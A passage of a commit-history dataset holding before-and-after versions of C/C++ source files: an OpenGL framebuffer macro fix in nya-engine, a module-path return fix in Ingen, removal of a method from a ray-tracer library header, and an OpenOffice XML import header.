http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=101614\n PeEnsemble();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/https:\/\/code.google.com\/p\/nya-engine\/\r\n\r\n#include \"fbo.h\"\r\n#include \"platform_specific_gl.h\"\r\n\r\nnamespace nya_render\r\n{\r\n\r\n#ifdef NO_EXTENSIONS_INIT\r\n #define fbo_glGenFramebuffers glGenFramebuffers\r\n #define fbo_glBindFramebuffer glBindFramebuffer\r\n\t#define fbo_glDeleteFramebuffers glDeleteFramebuffers;\r\n\t#define fbo_glFramebufferTexture2D glFramebufferTexture2D;\r\n#else\r\n PFNGLGENFRAMEBUFFERSPROC fbo_glGenFramebuffers;\r\n\tPFNGLBINDFRAMEBUFFERPROC fbo_glBindFramebuffer;\r\n\tPFNGLDELETEFRAMEBUFFERSPROC fbo_glDeleteFramebuffers;\r\n\tPFNGLFRAMEBUFFERTEXTURE2DPROC fbo_glFramebufferTexture2D;\r\n#endif\r\n\r\nbool check_init_fbo()\r\n{\r\n static bool initialised=false;\r\n static bool failed=true;\r\n if(initialised)\r\n return !failed;\r\n\r\n \/\/if(!has_extension(\"GL_EXT_framebuffer_object\"))\r\n \/\/ return false;\r\n\r\n#ifndef NO_EXTENSIONS_INIT\r\n fbo_glGenFramebuffers = (PFNGLGENFRAMEBUFFERSPROC)get_extension(\"glGenFramebuffers\");\r\n if(!fbo_glGenFramebuffers)\r\n return false;\r\n\r\n\tfbo_glBindFramebuffer = (PFNGLBINDFRAMEBUFFERPROC)get_extension(\"glBindFramebuffer\");\r\n if(!fbo_glBindFramebuffer)\r\n return false;\r\n\r\n\tfbo_glDeleteFramebuffers = (PFNGLDELETEFRAMEBUFFERSPROC)get_extension(\"glDeleteFramebuffers\");\r\n if(!fbo_glDeleteFramebuffers)\r\n return false;\r\n\r\n\tfbo_glFramebufferTexture2D = (PFNGLFRAMEBUFFERTEXTURE2DPROC)get_extension(\"glFramebufferTexture2D\");\r\n if(!fbo_glFramebufferTexture2D)\r\n return false;\r\n#endif\r\n\r\n initialised=true;\r\n failed=false;\r\n\r\n return true;\r\n}\r\n\r\nvoid fbo::set_color_target(const texture &tex)\r\n{\r\n\tif(!check_init_fbo())\r\n\t\treturn;\r\n\r\n if(tex.m_gl_type!=GL_TEXTURE_2D)\r\n return;\r\n\r\n if(m_color_target_idx==tex.m_tex_id)\r\n return;\r\n\r\n if(!m_fbo_idx)\r\n fbo_glGenFramebuffers(1,&m_fbo_idx);\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,m_fbo_idx);\r\n\r\n if(!m_color_target_idx && m_depth_target_idx)\r\n {\r\n glDrawBuffer(GL_COLOR_ATTACHMENT0);\r\n glReadBuffer(GL_COLOR_ATTACHMENT0);\r\n }\r\n\r\n fbo_glFramebufferTexture2D(GL_FRAMEBUFFER,GL_COLOR_ATTACHMENT0,GL_TEXTURE_2D,tex.m_tex_id,0);\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,0);\r\n\r\n m_color_target_idx=tex.m_tex_id;\r\n}\r\n\r\nvoid fbo::set_depth_target(const texture &tex)\r\n{\r\n\tif(!check_init_fbo())\r\n\t\treturn;\r\n\r\n if(tex.m_gl_type!=GL_TEXTURE_2D)\r\n return;\r\n\r\n if(m_depth_target_idx==tex.m_tex_id)\r\n return;\r\n\r\n if(!m_fbo_idx)\r\n fbo_glGenFramebuffers(1,&m_fbo_idx);\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,m_fbo_idx);\r\n\r\n if(!m_color_target_idx)\r\n {\r\n glDrawBuffer(GL_NONE);\r\n glReadBuffer(GL_NONE);\r\n }\r\n\r\n fbo_glFramebufferTexture2D(GL_FRAMEBUFFER,GL_DEPTH_ATTACHMENT,GL_TEXTURE_2D,tex.m_tex_id,0);\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,0);\r\n\r\n m_depth_target_idx=tex.m_tex_id;\r\n}\r\n\r\nvoid fbo::release()\r\n{\r\n if(!m_fbo_idx)\r\n return;\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,0);\r\n fbo_glDeleteFramebuffers(1,&m_fbo_idx);\r\n\r\n m_fbo_idx=0;\r\n m_color_target_idx=0;\r\n m_depth_target_idx=0;\r\n}\r\n\r\nvoid fbo::bind()\r\n{\r\n\tif(!m_fbo_idx)\r\n\t\treturn;\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,m_fbo_idx);\r\n}\r\n\r\nvoid fbo::unbind()\r\n{\r\n\tif(!m_fbo_idx)\r\n\t\treturn;\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,0);\r\n}\r\n\r\n}\r\n<commit_msg>fbo fix<commit_after>\/\/https:\/\/code.google.com\/p\/nya-engine\/\r\n\r\n#include \"fbo.h\"\r\n#include \"platform_specific_gl.h\"\r\n\r\nnamespace nya_render\r\n{\r\n\r\n#ifdef NO_EXTENSIONS_INIT\r\n #define fbo_glGenFramebuffers glGenFramebuffers\r\n #define fbo_glBindFramebuffer glBindFramebuffer\r\n\t#define fbo_glDeleteFramebuffers glDeleteFramebuffers\r\n\t#define fbo_glFramebufferTexture2D glFramebufferTexture2D\r\n#else\r\n PFNGLGENFRAMEBUFFERSPROC fbo_glGenFramebuffers;\r\n\tPFNGLBINDFRAMEBUFFERPROC fbo_glBindFramebuffer;\r\n\tPFNGLDELETEFRAMEBUFFERSPROC fbo_glDeleteFramebuffers;\r\n\tPFNGLFRAMEBUFFERTEXTURE2DPROC fbo_glFramebufferTexture2D;\r\n#endif\r\n\r\nbool check_init_fbo()\r\n{\r\n static bool initialised=false;\r\n static bool failed=true;\r\n if(initialised)\r\n return !failed;\r\n\r\n \/\/if(!has_extension(\"GL_EXT_framebuffer_object\"))\r\n \/\/ return false;\r\n\r\n#ifndef NO_EXTENSIONS_INIT\r\n fbo_glGenFramebuffers = (PFNGLGENFRAMEBUFFERSPROC)get_extension(\"glGenFramebuffers\");\r\n if(!fbo_glGenFramebuffers)\r\n return false;\r\n\r\n\tfbo_glBindFramebuffer = (PFNGLBINDFRAMEBUFFERPROC)get_extension(\"glBindFramebuffer\");\r\n if(!fbo_glBindFramebuffer)\r\n return false;\r\n\r\n\tfbo_glDeleteFramebuffers = (PFNGLDELETEFRAMEBUFFERSPROC)get_extension(\"glDeleteFramebuffers\");\r\n if(!fbo_glDeleteFramebuffers)\r\n return false;\r\n\r\n\tfbo_glFramebufferTexture2D = (PFNGLFRAMEBUFFERTEXTURE2DPROC)get_extension(\"glFramebufferTexture2D\");\r\n if(!fbo_glFramebufferTexture2D)\r\n return false;\r\n#endif\r\n\r\n initialised=true;\r\n failed=false;\r\n\r\n return true;\r\n}\r\n\r\nvoid fbo::set_color_target(const texture &tex)\r\n{\r\n\tif(!check_init_fbo())\r\n\t\treturn;\r\n\r\n if(tex.m_gl_type!=GL_TEXTURE_2D)\r\n return;\r\n\r\n if(m_color_target_idx==tex.m_tex_id)\r\n return;\r\n\r\n if(!m_fbo_idx)\r\n fbo_glGenFramebuffers(1,&m_fbo_idx);\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,m_fbo_idx);\r\n\r\n if(!m_color_target_idx && m_depth_target_idx)\r\n {\r\n glDrawBuffer(GL_COLOR_ATTACHMENT0);\r\n glReadBuffer(GL_COLOR_ATTACHMENT0);\r\n }\r\n\r\n fbo_glFramebufferTexture2D(GL_FRAMEBUFFER,GL_COLOR_ATTACHMENT0,GL_TEXTURE_2D,tex.m_tex_id,0);\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,0);\r\n\r\n m_color_target_idx=tex.m_tex_id;\r\n}\r\n\r\nvoid fbo::set_depth_target(const texture &tex)\r\n{\r\n\tif(!check_init_fbo())\r\n\t\treturn;\r\n\r\n if(tex.m_gl_type!=GL_TEXTURE_2D)\r\n return;\r\n\r\n if(m_depth_target_idx==tex.m_tex_id)\r\n return;\r\n\r\n if(!m_fbo_idx)\r\n fbo_glGenFramebuffers(1,&m_fbo_idx);\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,m_fbo_idx);\r\n\r\n if(!m_color_target_idx)\r\n {\r\n glDrawBuffer(GL_NONE);\r\n glReadBuffer(GL_NONE);\r\n }\r\n\r\n fbo_glFramebufferTexture2D(GL_FRAMEBUFFER,GL_DEPTH_ATTACHMENT,GL_TEXTURE_2D,tex.m_tex_id,0);\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,0);\r\n\r\n m_depth_target_idx=tex.m_tex_id;\r\n}\r\n\r\nvoid fbo::release()\r\n{\r\n if(!m_fbo_idx)\r\n return;\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,0);\r\n fbo_glDeleteFramebuffers(1,&m_fbo_idx);\r\n\r\n m_fbo_idx=0;\r\n m_color_target_idx=0;\r\n m_depth_target_idx=0;\r\n}\r\n\r\nvoid fbo::bind()\r\n{\r\n\tif(!m_fbo_idx)\r\n\t\treturn;\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,m_fbo_idx);\r\n}\r\n\r\nvoid fbo::unbind()\r\n{\r\n\tif(!m_fbo_idx)\r\n\t\treturn;\r\n\r\n fbo_glBindFramebuffer(GL_FRAMEBUFFER,0);\r\n}\r\n\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of Ingen.\n * Copyright (C) 2008-2009 Dave Robillard <http:\/\/drobilla.net>\n *\n * Ingen is free software; you can redistribute it and\/or modify it under the\n * terms of the GNU General Public License as published by the Free Software\n * Foundation; either version 2 of the License, or (at your option) any later\n * version.\n *\n * Ingen is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the GNU General Public License for details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include <dlfcn.h>\n#include <limits.h>\n#include <stdlib.h>\n#include <glibmm\/module.h>\n#include <glibmm\/miscutils.h>\n#include \"ingen-config.h\"\n#include \"runtime_paths.hpp\"\n\nusing namespace std;\n\nnamespace Ingen {\nnamespace Shared {\n\nstatic std::string bundle_path;\n\n\n\/** Must be called once at startup, and passed a pointer to a function\n * that lives in the 'top level' of the bundle (e.g. the executable).\n * Passing a function defined in a module etc. will not work!\n *\/\nvoid\nset_bundle_path_from_code(void* function)\n{\n\tDl_info dli;\n\tdladdr(function, &dli);\n\n#ifdef BUNDLE\n\tchar bin_loc[PATH_MAX];\n\trealpath(dli.dli_fname, bin_loc);\n#else\n\tconst char* bin_loc = dli.dli_fname;\n#endif\n\n\tstring bundle = bin_loc;\n\tbundle = bundle.substr(0, bundle.find_last_of(G_DIR_SEPARATOR));\n\tbundle_path = bundle;\n}\n\n\nvoid\nset_bundle_path(const char* path)\n{\n\tbundle_path = path;\n}\n\n\n\/** Return the absolute path of a file in an Ingen LV2 bundle\n *\/\nstd::string\nbundle_file_path(const std::string& name)\n{\n\treturn Glib::build_filename(bundle_path, name);\n}\n\n\/** Return the absolute path of a 'resource' file.\n *\/\nstd::string\ndata_file_path(const std::string& name)\n{\n#ifdef BUNDLE\n\treturn Glib::build_filename(bundle_path, Glib::build_path(INGEN_DATA_DIR, name));\n#else\n\treturn Glib::build_filename(INGEN_DATA_DIR, name);\n#endif\n}\n\n\n\/** Return the absolute path of a module (dynamically loaded shared library).\n *\/\nstd::string\nmodule_path(const std::string& name)\n{\n\tstd::string ret;\n#ifdef BUNDLE\n\tret = Glib::Module::build_path(Glib::build_path(bundle_path, INGEN_MODULE_DIR), name);\n#else\n\tret = Glib::Module::build_path(INGEN_MODULE_DIR, name);\n#endif\n#ifdef __APPLE__\n\t\/\/ MacPorts glib doesnt seem to do portable path building correctly...\n\tif (ret.substr(ret.length() - 3) == \".so\")\n\t\tret = ret.substr(0, ret.length() - 2).append(\"dylib\");\n\treturn ret;\n#endif\n}\n\n\n} \/\/ namespace Ingen\n} \/\/ namespace Shared\n\n<commit_msg>Fix module loading on non-Apple (oops).<commit_after>\/* This file is part of Ingen.\n * Copyright (C) 2008-2009 Dave Robillard <http:\/\/drobilla.net>\n *\n * Ingen is free software; you can redistribute it and\/or modify it under the\n * terms of the GNU General Public License as published by the Free Software\n * Foundation; either version 2 of the License, or (at your option) any later\n * version.\n *\n * Ingen is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the GNU General Public License for details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include <dlfcn.h>\n#include <limits.h>\n#include <stdlib.h>\n#include <glibmm\/module.h>\n#include <glibmm\/miscutils.h>\n#include \"ingen-config.h\"\n#include \"runtime_paths.hpp\"\n\nusing namespace std;\n\nnamespace Ingen {\nnamespace Shared {\n\nstatic std::string bundle_path;\n\n\n\/** Must be called once at startup, and passed a pointer to a function\n * that lives in the 'top level' of the bundle (e.g. the executable).\n * Passing a function defined in a module etc. will not work!\n *\/\nvoid\nset_bundle_path_from_code(void* function)\n{\n\tDl_info dli;\n\tdladdr(function, &dli);\n\n#ifdef BUNDLE\n\tchar bin_loc[PATH_MAX];\n\trealpath(dli.dli_fname, bin_loc);\n#else\n\tconst char* bin_loc = dli.dli_fname;\n#endif\n\n\tstring bundle = bin_loc;\n\tbundle = bundle.substr(0, bundle.find_last_of(G_DIR_SEPARATOR));\n\tbundle_path = bundle;\n}\n\n\nvoid\nset_bundle_path(const char* path)\n{\n\tbundle_path = path;\n}\n\n\n\/** Return the absolute path of a file in an Ingen LV2 bundle\n *\/\nstd::string\nbundle_file_path(const std::string& name)\n{\n\treturn Glib::build_filename(bundle_path, name);\n}\n\n\/** Return the absolute path of a 'resource' file.\n *\/\nstd::string\ndata_file_path(const std::string& name)\n{\n#ifdef BUNDLE\n\treturn Glib::build_filename(bundle_path, Glib::build_path(INGEN_DATA_DIR, name));\n#else\n\treturn Glib::build_filename(INGEN_DATA_DIR, name);\n#endif\n}\n\n\n\/** Return the absolute path of a module (dynamically loaded shared library).\n *\/\nstd::string\nmodule_path(const std::string& name)\n{\n\tstd::string ret;\n#ifdef BUNDLE\n\tret = Glib::Module::build_path(Glib::build_path(bundle_path, INGEN_MODULE_DIR), name);\n#else\n\tret = Glib::Module::build_path(INGEN_MODULE_DIR, name);\n#endif\n#ifdef __APPLE__\n\t\/\/ MacPorts glib doesnt seem to do portable path building correctly...\n\tif (ret.substr(ret.length() - 3) == \".so\")\n\t\tret = ret.substr(0, ret.length() - 2).append(\"dylib\");\n#endif\n\treturn ret;\n}\n\n\n} \/\/ namespace Ingen\n} \/\/ namespace Shared\n\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <cstdint>\n#include <cassert>\n#include <vector>\n#include <unordered_map>\n#include <string>\n#include <stdexcept>\n#include <functional>\n\n#include \"utils\/uncopyable.hpp\"\n#include \"utils\/tout.hpp\"\n\nnamespace fr {\n\nstruct Config;\nstruct Camera;\nclass Image;\nclass LightList;\nstruct Shader;\nstruct Texture;\nstruct Material;\nstruct Mesh;\nclass NetNode;\nstruct FatRay;\n\nclass Library : private Uncopyable {\npublic:\n explicit Library();\n ~Library();\n\n \/\/ Configs...\n void StoreConfig(Config* config);\n\n inline Config* LookupConfig() const { return _config; }\n\n \/\/ Cameras...\n void StoreCamera(Camera* camera);\n\n inline Camera* LookupCamera() const { return _camera; }\n\n \/\/ Images...\n void StoreImage(Image* image);\n\n inline Image* LookupImage() const { return _image; }\n\n \/\/ Light lists...\n void StoreLightList(LightList* lights);\n\n inline LightList* LookupLightList() const { return _lights; }\n\n \/\/ Shaders...\n inline uint32_t NextShaderID() const { return _shaders.size(); }\n\n void StoreShader(uint32_t id, Shader* shader);\n\n inline Shader* LookupShader(uint32_t id) const {\n assert(id > 0);\n assert(id < _shaders.size());\n return _shaders[id]; \n };\n\n \/\/ Textures...\n inline uint32_t NextTextureID() const { return _textures.size(); }\n\n void StoreTexture(uint32_t id, Texture* texture);\n\n inline Texture* LookupTexture(uint32_t id) const {\n assert(id > 0);\n assert(id < _textures.size());\n return _textures[id];\n }\n\n \/\/ Materials...\n inline uint32_t NextMaterialID() const { return _materials.size(); }\n\n void StoreMaterial(uint32_t id, Material* material, const std::string& name);\n\n inline Material* LookupMaterial(uint32_t id) const {\n assert(id > 0);\n assert(id < _materials.size());\n return _materials[id];\n }\n\n inline uint32_t LookupMaterial(const std::string& name) const {\n uint32_t id = 0;\n try {\n id = _material_name_index.at(name);\n } catch (std::out_of_range& e) {\n id = 0;\n }\n return id;\n }\n\n \/\/ Meshes...\n inline uint32_t NextMeshID() const { return _meshes.size(); }\n\n void StoreMesh(uint32_t id, Mesh* mesh);\n\n inline Mesh* LookupMesh(uint32_t id) const {\n assert(id > 0);\n assert(id < _meshes.size());\n return _meshes[id];\n }\n\n void ForEachMesh(std::function<void (uint32_t id, Mesh* mesh)> func);\n\n void ForEachEmissiveMesh(std::function<void (uint32_t id, Mesh* mesh)> func);\n\n void NaiveIntersect(FatRay* ray, uint32_t me);\n\n void Intersect(FatRay* ray, uint32_t me);\n\n \/\/ Net nodes...\n void StoreNetNode(uint32_t id, NetNode* node);\n\n inline NetNode* LookupNetNode(uint32_t id) const {\n assert(id > 0);\n assert(id < _nodes.size());\n return _nodes[id];\n }\n\n void ForEachNetNode(std::function<void (uint32_t id, NetNode* node)> func);\n\n template <typename RetType>\n std::vector<RetType> ForEachNetNode(std::function<RetType (uint32_t id, NetNode* node)> func) {\n std::vector<RetType> results(_nodes.size());\n for (uint32_t id = 1; id < _nodes.size(); id++) {\n NetNode* node = _nodes[id];\n if (node == nullptr) continue;\n RetType result = func(id, node);\n results.insert(results.begin() + id, result);\n }\n return results;\n }\n\n \/\/ Spatial index access for net nodes...\n void BuildSpatialIndex();\n\n inline uint32_t LookupNetNodeBySpaceCode(uint64_t spacecode) const {\n#ifndef NDEBUG\n if (_chunk_size == 0) {\n TERRLN(\"Attempted to lookup net node by space code without first building the spatial index!\");\n exit(EXIT_FAILURE);\n }\n#endif\n return _spatial_index.at(spacecode \/ _chunk_size);\n }\n\nprivate:\n Config *_config;\n Camera* _camera;\n Image* _image;\n LightList* _lights;\n std::vector<Shader*> _shaders;\n std::vector<Texture*> _textures;\n std::vector<Material*> _materials;\n std::vector<Mesh*> _meshes;\n std::vector<NetNode*> _nodes;\n std::unordered_map<std::string, uint32_t> _material_name_index;\n std::vector<uint32_t> _spatial_index;\n std::vector<uint32_t> _emissive_index;\n uint64_t _chunk_size;\n};\n\n} \/\/ namespace fr\n<commit_msg>Don't need NaiveIntersect anymore.<commit_after>#pragma once\n\n#include <cstdint>\n#include <cassert>\n#include <vector>\n#include <unordered_map>\n#include <string>\n#include <stdexcept>\n#include <functional>\n\n#include \"utils\/uncopyable.hpp\"\n#include \"utils\/tout.hpp\"\n\nnamespace fr {\n\nstruct Config;\nstruct Camera;\nclass Image;\nclass LightList;\nstruct Shader;\nstruct Texture;\nstruct Material;\nstruct Mesh;\nclass NetNode;\nstruct FatRay;\n\nclass Library : private Uncopyable {\npublic:\n explicit Library();\n ~Library();\n\n \/\/ Configs...\n void StoreConfig(Config* config);\n\n inline Config* LookupConfig() const { return _config; }\n\n \/\/ Cameras...\n void StoreCamera(Camera* camera);\n\n inline Camera* LookupCamera() const { return _camera; }\n\n \/\/ Images...\n void StoreImage(Image* image);\n\n inline Image* LookupImage() const { return _image; }\n\n \/\/ Light lists...\n void StoreLightList(LightList* lights);\n\n inline LightList* LookupLightList() const { return _lights; }\n\n \/\/ Shaders...\n inline uint32_t NextShaderID() const { return _shaders.size(); }\n\n void StoreShader(uint32_t id, Shader* shader);\n\n inline Shader* LookupShader(uint32_t id) const {\n assert(id > 0);\n assert(id < _shaders.size());\n return _shaders[id]; \n };\n\n \/\/ Textures...\n inline uint32_t NextTextureID() const { return _textures.size(); }\n\n void StoreTexture(uint32_t id, Texture* texture);\n\n inline Texture* LookupTexture(uint32_t id) const {\n assert(id > 0);\n assert(id < _textures.size());\n return _textures[id];\n }\n\n \/\/ Materials...\n inline uint32_t NextMaterialID() const { return _materials.size(); }\n\n void StoreMaterial(uint32_t id, Material* material, const std::string& name);\n\n inline Material* LookupMaterial(uint32_t id) const {\n assert(id > 0);\n assert(id < _materials.size());\n return _materials[id];\n }\n\n inline uint32_t LookupMaterial(const std::string& name) const {\n uint32_t id = 0;\n try {\n id = _material_name_index.at(name);\n } catch (std::out_of_range& e) {\n id = 0;\n }\n return id;\n }\n\n \/\/ Meshes...\n inline uint32_t NextMeshID() const { return _meshes.size(); }\n\n void StoreMesh(uint32_t id, Mesh* mesh);\n\n inline Mesh* LookupMesh(uint32_t id) const {\n assert(id > 0);\n assert(id < _meshes.size());\n return _meshes[id];\n }\n\n void ForEachMesh(std::function<void (uint32_t id, Mesh* mesh)> func);\n\n void ForEachEmissiveMesh(std::function<void (uint32_t id, Mesh* mesh)> func);\n\n void Intersect(FatRay* ray, uint32_t me);\n\n \/\/ Net nodes...\n void StoreNetNode(uint32_t id, NetNode* node);\n\n inline NetNode* LookupNetNode(uint32_t id) const {\n assert(id > 0);\n assert(id < _nodes.size());\n return _nodes[id];\n }\n\n void ForEachNetNode(std::function<void (uint32_t id, NetNode* node)> func);\n\n template <typename RetType>\n std::vector<RetType> ForEachNetNode(std::function<RetType (uint32_t id, NetNode* node)> func) {\n std::vector<RetType> results(_nodes.size());\n for (uint32_t id = 1; id < _nodes.size(); id++) {\n NetNode* node = _nodes[id];\n if (node == nullptr) continue;\n RetType result = func(id, node);\n results.insert(results.begin() + id, result);\n }\n return results;\n }\n\n \/\/ Spatial index access for net nodes...\n void BuildSpatialIndex();\n\n inline uint32_t LookupNetNodeBySpaceCode(uint64_t spacecode) const {\n#ifndef NDEBUG\n if (_chunk_size == 0) {\n TERRLN(\"Attempted to lookup net node by space code without first building the spatial index!\");\n exit(EXIT_FAILURE);\n }\n#endif\n return _spatial_index.at(spacecode \/ _chunk_size);\n }\n\nprivate:\n Config *_config;\n Camera* _camera;\n Image* _image;\n LightList* _lights;\n std::vector<Shader*> _shaders;\n std::vector<Texture*> _textures;\n std::vector<Material*> _materials;\n std::vector<Mesh*> _meshes;\n std::vector<NetNode*> _nodes;\n std::unordered_map<std::string, uint32_t> _material_name_index;\n std::vector<uint32_t> _spatial_index;\n std::vector<uint32_t> _emissive_index;\n uint64_t _chunk_size;\n};\n\n} \/\/ namespace fr\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: XMLChangeInfoContext.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: dvo $ $Date: 2001-01-24 16:49:51 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#ifndef _XMLOFF_XMLCHANGEINFOCONTEXT_HXX\n#define _XMLOFF_XMLCHANGEINFOCONTEXT_HXX\n\n#ifndef _XMLOFF_XMLICTXT_HXX\n#include \"xmlictxt.hxx\"\n#endif\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n\n#ifndef _RTL_USTRING_HXX_\n#include <rtl\/ustring.hxx>\n#endif\n\n#ifndef _RTL_USTRBUF_HXX_\n#include <rtl\/ustrbuf.hxx>\n#endif\n\nnamespace com { namespace sun { namespace star {\n namespace xml { namespace sax { class XAttributeList; } }\n} } }\nclass XMLChangedRegionImportContext;\n\n\n\n\/**\n * Import <office:change-info> elements as children of <text:changed-region>\n * elements. The attribute values will be passed to the enclosing\n * XMLChangedRegionImportContext (which has to be passed down in the\n * constructor).\n *\/\nclass XMLChangeInfoContext : public SvXMLImportContext\n{\n const ::rtl::OUString& rType;\n\n ::rtl::OUString sAuthor;\n ::rtl::OUString sDateTime;\n ::rtl::OUStringBuffer sCommentBuffer;\n\n XMLChangedRegionImportContext& rChangedRegion;\n\npublic:\n\n TYPEINFO();\n\n XMLChangeInfoContext(\n SvXMLImport& rImport,\n sal_uInt16 nPrefix,\n const ::rtl::OUString& rLocalName,\n XMLChangedRegionImportContext& rChangedRegion,\n const ::rtl::OUString& rChangeType);\n\n ~XMLChangeInfoContext();\n\n virtual void StartElement(\n const ::com::sun::star::uno::Reference<\n ::com::sun::star::xml::sax::XAttributeList> & xAttrList);\n\n virtual SvXMLImportContext *CreateChildContext(\n USHORT nPrefix,\n const ::rtl::OUString& rLocalName,\n const ::com::sun::star::uno::Reference<\n ::com::sun::star::xml::sax::XAttributeList >& xAttrList );\n\n virtual void EndElement();\n\n};\n\n#endif\n<commit_msg>INTEGRATION: CWS oasis (1.2.288); FILE MERGED 2004\/05\/12 11:00:37 mib 1.2.288.1: - #i20153#: changed <office:annotation> and <office:change-info><commit_after>\/*************************************************************************\n *\n * $RCSfile: XMLChangeInfoContext.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2004-07-13 08:31:07 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#ifndef _XMLOFF_XMLCHANGEINFOCONTEXT_HXX\n#define _XMLOFF_XMLCHANGEINFOCONTEXT_HXX\n\n#ifndef _XMLOFF_XMLICTXT_HXX\n#include \"xmlictxt.hxx\"\n#endif\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n\n#ifndef _RTL_USTRING_HXX_\n#include <rtl\/ustring.hxx>\n#endif\n\n#ifndef _RTL_USTRBUF_HXX_\n#include <rtl\/ustrbuf.hxx>\n#endif\n\nnamespace com { namespace sun { namespace star {\n namespace xml { namespace sax { class XAttributeList; } }\n} } }\nclass XMLChangedRegionImportContext;\n\n\n\n\/**\n * Import <office:change-info> elements as children of <text:changed-region>\n * elements. The attribute values will be passed to the enclosing\n * XMLChangedRegionImportContext (which has to be passed down in the\n * constructor).\n *\/\nclass XMLChangeInfoContext : public SvXMLImportContext\n{\n const ::rtl::OUString& rType;\n\n 